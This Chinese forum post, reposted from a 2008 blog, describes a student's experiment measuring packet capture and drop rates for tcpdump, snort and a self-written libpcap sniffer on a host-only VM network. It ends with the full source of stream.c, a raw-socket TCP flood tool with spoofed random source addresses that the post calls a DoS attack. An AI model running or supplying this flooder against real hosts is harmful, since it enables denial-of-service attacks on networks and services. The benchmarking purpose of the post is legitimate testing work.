免费注册 查看新帖 |

Chinaunix

  平台 论坛 博客 文库
最近访问板块 发新帖
查看: 1123 | 回复: 0
打印 上一主题 下一主题

关于高效的数据包捕获实验(1) [复制链接]

论坛徽章:
0
跳转到指定楼层
1 [收藏(0)] [报告]
发表于 2008-08-15 11:50 |只看该作者 |倒序浏览

昨天心血来潮翻译了一篇长长的外文,真累,以后真是懒得翻译了,自己英语也一般,翻译出来错误估计也较多,还不利于读者学英语。
    不过昨天那片关于如何提高被动数据包的捕获的效率的文章,那些实验数据还是比较值得关注的,看了才知道原来网络上的包那么容易丢啊。
    当然它的测试是通过外部计算机发数据包,对接收者的测试。
    我为了简单,对发送者进行了一些初步测试,对在发送端进行数据包的捕获,我简单的测试了几下发现捕获率100%,我想原因是对于发的包,必须经过内核所以能被100%的捕获,而对于接受方则不一样,因为接受方的缓冲区满了,就要丢包了,而发包程序是个单线程的,使用的是sendto函数,查看手册sendto默认是阻塞调用,所以捕获率是100%,至于接受方的捕获率我还没有真正测试呢,看那篇翻译文章所说应该是很低。

    下面是我的这个实验
mysnort是我自己写的一个程序,本来是这个学期的作业要交的报告,我也连它一块测试,以辨优劣。当然现在代码只是简单的抓包,在这个实验我把包的分析直接return了,也就是没有分析,测试一下libpcap的抓包率会不会受程序处理速度的影响,很明显是受的,也就给了我要用多线程改写这个程序提供了依据。因为snort,tcpdump都是基于libpcap的,我也使用了libpcap,因为我写程序的时候还只知道这个库,libpcap-mmap还有那个PF_RING听都没有听说过。不过我想抓包的部分是可修改的。因为不论用那个库,抓的包是没有变的,只是准确不准确而已。

实验目的:分析snort、tcpdump和mysnort的运行效果。
实验步骤:
数据包构造,这里采用了stream.c,一种Dos攻击方式发大量的数据包。后附stream.c的代码。
网络环境:
采用host-only方式和主机通讯,抗外界干扰能力强。内装操作系统ubuntu,主机windows xp

Xp:本地连接静态ip 192.168.1.2 子网掩码255.255.255.0 默认网关192.168.1.1(路由器)
本地连接共享上网给VMware Network Adapter VMnet1这一虚拟网卡。
VMnet1 静态ip:192.168.0.1 子网掩码255.255.255.0

Ubuntu 静态ip: 192.168.0.2 子网掩码255.255.255.0 默认网关 192.168.0.1 dns 61.139.2.69
实验步骤:
Gcc stream.c      //生成./a.out
运行下面三个程序准备侦听
tcpdump -vv tcp and dst host 192.168.0.1
snort -v tcp and dst host 192.168.0.1
./mysnort    //这个的命令行格式还没有做,只有在代码里修改了重新编译运行即可。
然后运行发包程序
./a.out 192.168.0.1 0 0 1
然后CTRL+C结束发包程序,然后CTRL+C结束其他三个监测程序,再结束snort的时候,它没有响应,要给它再发个包,它才退出,这是个小错误,我用的snort版本是2.7.0,ubuntu的源里面没有2.8的,所以就装了2.7.0的将就测试了。
实验结果:

图一 Stream.c 构造了57285个数据包,由于要停止snort捕获数据包时,无法中断SIGINT,所以又进行了一次发包,这样子snort就会再处理一个包,然后处理中断SIGINT,这样子snort就捕获了57286个包。Snort捕获的数据包多一个就是这个原因。

图二 snort的抓包及处理效果

图三 tcpdump
由以上数据得

Packets send
by stream.c is 57285(+1)

software
received
droped
analyzed
tcpdump
57285
56919
4
snort
57285(+1)
36227
21058
mysnort
57285
0
0
表一 mysnort是自己测试用得,只进行抓包不进行包得任何处理

为了显示snort的数据必须在对他发出SIGINT后多发一个包才能退出它,并显示统计信息。
从上表可以知道:
他们三个都收到了发出去的全部数据包,这是由于数据包是从本机发出去的,所以必须经过内核,这样就都能被libpcap捕获到。
Tcpdump只分析了4个包,丢掉了56919个包,还有366个包不知道跑哪去了。可能是在缓冲区中,没来得及分析,而由于缓冲区满了导致其他的数据包都被丢弃。说明了tcpdump的效果极差。
对于snort分析率36.759%,丢包率63.239%,明显可知snort的分析效果还有待改进。
而对于mysnort分析率为0,丢包率为0,也就是说对libpcap的包未做分析所以没有出现丢包现象。
这说明了只要分析的速度够快,丢包率就不会那么高,而且对于snort来说,我选取的模式还没有进行规则匹配,如果再进行规则匹配,那么丢包率或许会更可观。
      //stream.c代码,略做修改能够在退出时打印发的包的数目,源码出处是:
http://www.securiteam.com/unixfocus/5YP0I000DG.html


#include stdio.h>
#include stdlib.h>
#include unistd.h>
#include string.h>
#include sys/time.h>
#include sys/types.h>
#include sys/socket.h>
#include signal.h>
#ifndef __USE_BSD
#define __USE_BSD
#endif
#ifndef __FAVOR_BSD
#define __FAVOR_BSD
#endif
#include netinet/in_systm.h>
#include netinet/in.h>
#include netinet/ip.h>
#include netinet/tcp.h>
#include arpa/inet.h>
#include netdb.h>
#ifdef LINUX
#define FIX(x) htons(x)
#else
#define FIX(x) (x)
#endif
int num=0;
struct ip_hdr {
    u_int ip_hl:4, /* header length in 32 bit words */
    ip_v:4; /* ip version */
    u_char ip_tos; /* type of service */
    u_short ip_len; /* total packet length */
    u_short ip_id; /* identification */
    u_short ip_off; /* fragment offset */
    u_char ip_ttl; /* time to live */
    u_char ip_p; /* protocol */
    u_short ip_sum; /* ip checksum */
    u_long saddr, daddr; /* source and dest address */
};
struct tcp_hdr {
    u_short th_sport; /* source port */
    u_short th_dport; /* destination port */
    u_long th_seq; /* sequence number */
    u_long th_ack; /* acknowledgement number */
    u_int th_x2:4, /* unused */
    th_off:4; /* data offset */
    u_char th_flags; /* flags field */
    u_short th_win; /* window size */
    u_short th_sum; /* tcp checksum */
    u_short th_urp; /* urgent pointer */
};
struct tcpopt_hdr {
    u_char type; /* type */
    u_char len; /* length */
    u_short value; /* value */
};
struct pseudo_hdr { /* See RFC 793 Pseudo Header */
    u_long saddr, daddr; /* source and dest address */
    u_char mbz, ptcl; /* zero and protocol */
    u_short tcpl; /* tcp length */
};
struct packet {
    struct ip/*_hdr*/ ip;
    struct tcphdr tcp;
/* struct tcpopt_hdr opt; */
};
struct cksum {
    struct pseudo_hdr pseudo;
    struct tcphdr tcp;
};
struct packet packet;
struct cksum cksum;
struct sockaddr_in s_in;
u_short dstport, pktsize, pps;
u_long dstaddr;
int sock;
void usage(char *progname)
{
    fprintf(stderr, "Usage: %s    \n", progname);
    fprintf(stderr, " dstaddr - the target we are trying to attack.\n");
    fprintf(stderr, " dstport - the port of the target, 0 = random.\n");
    fprintf(stderr, " pktsize - the extra size to use. 0 = normal syn.\n");
    exit(1);
}
/* This is a reference internet checksum implimentation, not very fast */
inline u_short in_cksum(u_short *addr, int len)
{
    register int nleft = len;
    register u_short *w = addr;
    register int sum = 0;
    u_short answer = 0;
     /* Our algorithm is simple, using a 32 bit accumulator (sum), we add
      * sequential 16 bit words to it, and at the end, fold back all the
      * carry bits from the top 16 bits into the lower 16 bits. */
     while (nleft > 1) {
         sum += *w++;
         nleft -= 2;
     }
     /* mop up an odd byte, if necessary */
     if (nleft == 1) {
         *(u_char *)(&answer) = *(u_char *) w;
         sum += answer;
     }
     /* add back carry outs from top 16 bits to low 16 bits */
     sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */
     sum += (sum >> 16); /* add carry */
     answer = ~sum; /* truncate to 16 bits */
     return(answer);
}
u_long lookup(char *hostname)
{
    struct hostent *hp;
    if ((hp = gethostbyname(hostname)) == NULL) {
       fprintf(stderr, "Could not resolve %s.\n", hostname);
       exit(1);
    }
    return *(u_long *)hp->h_addr;
}
void flooder(void)
{
    struct timespec ts;
    int i;
    memset(&packet, 0, sizeof(packet));
    ts.tv_sec = 0;
    ts.tv_nsec = 10;
    packet.ip.ip_hl = 5;
    packet.ip.ip_v = 4;
    packet.ip.ip_p = IPPROTO_TCP;
    packet.ip.ip_tos = 0x08;
    packet.ip.ip_id = rand();
    packet.ip.ip_len = FIX(sizeof(packet));
    packet.ip.ip_off = 0; /* IP_DF? */
    packet.ip.ip_ttl = 255;
    packet.ip.ip_dst.s_addr = dstaddr;
    packet.tcp.th_flags = 0;
    packet.tcp.th_win = htons(16384);
    packet.tcp.th_seq = random();
    packet.tcp.th_ack = 0;
    packet.tcp.th_off = 5; /* 5 */
    packet.tcp.th_urp = 0;
    packet.tcp.th_sport = rand();
    packet.tcp.th_dport = dstport?htons(dstport):rand();
/*
    packet.opt.type = 0x02;
    packet.opt.len = 0x04;
    packet.opt.value = htons(1460);
*/
    cksum.pseudo.daddr = dstaddr;
    cksum.pseudo.mbz = 0;
    cksum.pseudo.ptcl = IPPROTO_TCP;
    cksum.pseudo.tcpl = htons(sizeof(struct tcphdr));
    s_in.sin_family = AF_INET;
    s_in.sin_addr.s_addr = dstaddr;
    s_in.sin_port = packet.tcp.th_dport;
    for(i=0;;++i) {
    cksum.pseudo.saddr = packet.ip.ip_src.s_addr = random();
       ++packet.ip.ip_id;
       ++packet.tcp.th_sport;
       ++packet.tcp.th_seq;
       if (!dstport)
          s_in.sin_port = packet.tcp.th_dport = rand();
       packet.ip.ip_sum = 0;
       packet.tcp.th_sum = 0;
       cksum.tcp = packet.tcp;
       packet.ip.ip_sum = in_cksum((void *)&packet.ip, 20);
       packet.tcp.th_sum = in_cksum((void *)&cksum, sizeof(cksum));
     num++;
       if (sendto(sock, &packet, sizeof(packet), 0, (struct sockaddr *)&s_in, sizeof(s_in))  0)
          perror("jess");
        
    }
}
void nice_exit(int signal);
int main(int argc, char *argv[])
{
    signal(SIGINT,nice_exit);
    int on = 1;
    printf("stream.c v1.0 - TCP Packet Storm\n");
    if ((sock = socket(PF_INET, SOCK_RAW, IPPROTO_RAW))  0) {
       perror("socket");
       exit(1);
    }
    setgid(getgid()); setuid(getuid());
    if (argc  4)
       usage(argv[0]);
    if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on))  0) {
       perror("setsockopt");
       exit(1);
    }
    srand((time(NULL) ^ getpid()) + getppid());
    printf("\nResolving IPs..."); fflush(stdout);
    dstaddr = lookup(argv[1]);
    dstport = atoi(argv[2]);
    pktsize = atoi(argv[3]);
    printf("Sending..."); fflush(stdout);
    flooder();
   
    return 0;
}
void nice_exit(int signal)
{
    printf("%d packets send!\n",num);
    exit(0);
}


本文来自ChinaUnix博客,如果查看原文请点:http://blog.chinaunix.net/u2/76257/showart_1131351.html
您需要登录后才可以回帖 登录 | 注册

本版积分规则 发表回复

  

北京盛拓优讯信息技术有限公司. 版权所有 京ICP备16024965号-6 北京市公安局海淀分局网监中心备案编号:11010802020122 niuxiaotong@pcpop.com 17352615567
未成年举报专区
中国互联网协会会员  联系我们:huangweiwei@itpub.net
感谢所有关心和支持过ChinaUnix的朋友们 转载本站内容请注明原作者名及出处

清除 Cookies - ChinaUnix - Archiver - WAP - TOP